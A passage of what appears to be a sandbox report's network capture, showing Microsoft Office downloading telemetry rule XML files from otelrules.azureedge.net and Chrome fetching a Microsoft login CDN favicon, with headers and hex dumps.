65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:31 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:31 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:31 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: e173b85d-401e-0035-56f2-2482d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200931Z-15b8d89586fdmfsg1u7xrpfws000000003u00000000065qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:31 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:31 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:31 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:31 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 2f084f0e-501e-0029-2021-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200931Z-r197bdfb6b4bq7nf8mnywhn9e000000000h000000000a84e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:31 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49746	13.107.246.45	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:32 UTC	404	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:32 UTC	744	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:32 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 1b14a2d9-e01e-0070-0132-26450c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200932Z-r197bdfb6b4k6h5jmacuw3pcw800000000qg00000000bpws x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:32 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-24 20:09:32 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:32 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200932Z-16849878b78lhh9t0fb3392enw000000084g00000000591r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:32 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7aa3dd97-101e-005a-6a20-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200932Z-r197bdfb6b4ld6jc5asqwvvz0w000000028g000000006fsx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:32 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e1deb6d3-201e-006e-700b-22bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200932Z-16849878b78lhh9t0fb3392enw00000007y000000000xvbq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:32 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 96753eec-301e-0000-2f2c-26eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200932Z-15b8d89586f8nxpt6ys645x5v000000000q000000000dtf1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:33 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:33 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: b0d76b6d-d01e-002b-3e84-2525fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200933Z-16849878b78mhkkf6kbvry07q0000000080g00000000rk69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:33 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200933Z-16849878b78c2tmb7nhatnd68s00000008900000000045z8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:33 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: d7788b78-601e-0084-2f37-266b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200933Z-15b8d89586f2hk28h0h6zye26c00000002200000000013xp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:33 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 1b2fb3ba-201e-0033-65ce-20b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200933Z-16849878b78j5kdg3dndgqw0vg00000001900000000057px x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
